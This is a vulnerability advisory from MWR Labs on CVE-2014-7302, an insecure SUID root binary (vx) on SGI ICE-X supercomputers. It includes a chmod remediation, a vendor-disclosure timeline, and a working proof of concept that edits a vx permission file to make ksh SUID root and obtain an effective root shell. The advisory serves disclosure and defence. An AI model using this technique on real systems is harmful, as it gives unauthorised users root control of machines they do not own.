[SGI SUID Root Privilege Escalation] Software: SGI Tempo (SGI ICE-X Supercomputers) Affected Versions: Unknown CVE Reference: CVE-2014-7302 Author: Luke Jennings, John Fitzpatrick, MWR Labs Severity: Medium Risk Vendor: Silicon Graphics International Corp (SGI) Vendor Response: Uncooperative [Description] A vulnerability exists which allows low privileged local users to escalate their privileges to root. [Impact] Successful exploitation provides full root access to the affected system. [Cause] An insecure SUID root binary (/opt/sgi/sgimc/bin/vx). [Solution] If removing the vx binary is not an option this issue can be resolved by altering the file permissions: # chmod 755 /opt/sgi/sgimc/bin/vx [Technical Details] A SUID root binary, believed to be part of the SGI Management Center, exists on SGI ICE-X supercomputers and is insecurely configured allowing for low privileged users to escalate their privileges. This binary is shown below: $ ls -la /opt/sgi/sgimc/bin/vx -rwsr-sr-x 1 root root 19248 2013-10-04 15:00 /opt/sgi/sgimc/bin/vx MWR have only observed the vx binary on the admin nodes of ICE-X systems which are not typically accessible by non administrative users. If present on other nodes within the environment this issue should be considered a higher risk. The output below shows the usage options available to users from the vx binary: user@sgi:~/test> ./vx Usage: vx -s[:<scanlist>] [-i:<ignorelist>] [<entries>] vx -x [<entries>] Options: -s Scan the current directory or files listed in the specified file. -i Ignore the directories listed in the specified file. -x Extract files into the current directory. NOTE: This program must be run directly or effectively as root. The "vx" binary provides a means to apply file permissions to all files within a directory allowing for file permissions to be preserved across nodes in an efficient fashion. However, the SUID permissions set on this binary mean that any user can execute it in a manner which allows the user to alter the permissions of any file, regardless of ownership, and even to arbitrarily change file permissions. It is therefore possible to utilise the vx binary to set SUID root permissions on arbitrary files from a low privileged user account and thus escalate privileges. [Proof of Concept] This proof of concept demonstrates how the insecure permissions on this file can be exploited in order to create a SUID root executable. The example will use the Korn shell (ksh) for simplicity, but could easily be refactored for other purposes. For the purpose of this example the contents of the current working directory are: $ ls -la drwxr-xr-x 3 j0hn users 4096 2014-09-01 14:42 . drwxr-xr-x 13 j0hn users 4096 2014-09-01 14:42 .. -rwxr-xr-x 1 j0hn users 38312 2014-09-01 14:30 ksh -rwsr-sr-x 1 root root 19248 2014-08-19 19:41 vx Run the following command in order to scan the current directory and create a file named "mwrtestx" that contains information on the file permissions of all files within your current working directory: $ vx -s mwrtestx The file "mwrtestx" will be created with the following content: ksh^@f3wx92v53X3q3gB46FkQOX1^@5fat040116FkQOX1 vx^@f3S052Tt006bPnJX1^@5Wat040116ZtQOX1 The file mwrtestx contains the file name, file permissions as well as ownership details. Therefore if the filename "vx" within this file is altered to read "ksh" the file contents now specify that the "ksh" binary be set the SUID root permissions currently applied to the "vx" binary: ksh^@f3S052Tt006bPnJX1^@5Wat040116ZtQOX1 Executing the "vx" binary with the "mwrtestx" file results in the file permissions within the "mwrtestx" file being applied, in this case resulting in ksh being altered and made SUID root: $ vx -x mwrtestx $ ls -la drwxr-xr-x 3 j0hn users 4096 2014-09-01 14:45 . drwxr-xr-x 13 j0hn users 4096 2014-09-01 14:45 .. -rwsr-sr-x 1 root root 38312 2014-08-19 19:41 ksh -rwsr-sr-x 1 root root 19248 2014-08-19 19:41 vx To confirm that this has worked effectively ksh should be run: $ ./ksh # id uid=200107(j0hn) gid=16100(users) euid=0(root) egid=0(root) groups=16100(users) [Detailed Timeline] SGI have chosen not to co-operate with MWR in the co-ordinated disclosure of this and other SGI related security issues. MWR are therefore unable to provide specific version information and other details. Whilst every effort has been made to ensure the accuracy and usefulness of this advisory it is recommend that SGI are contacted directly if further information is required. 2014-05-23: Contact with SGI attempted 2014-07-23: Contact with SGI re-attempted 2014-11-20: Contact with SGI re-attempted 2014-12-02: Advisory published https://labs.mwrinfosecurity.com/advisories/2014/12/02/sgi-suid-root-privilege-escalation/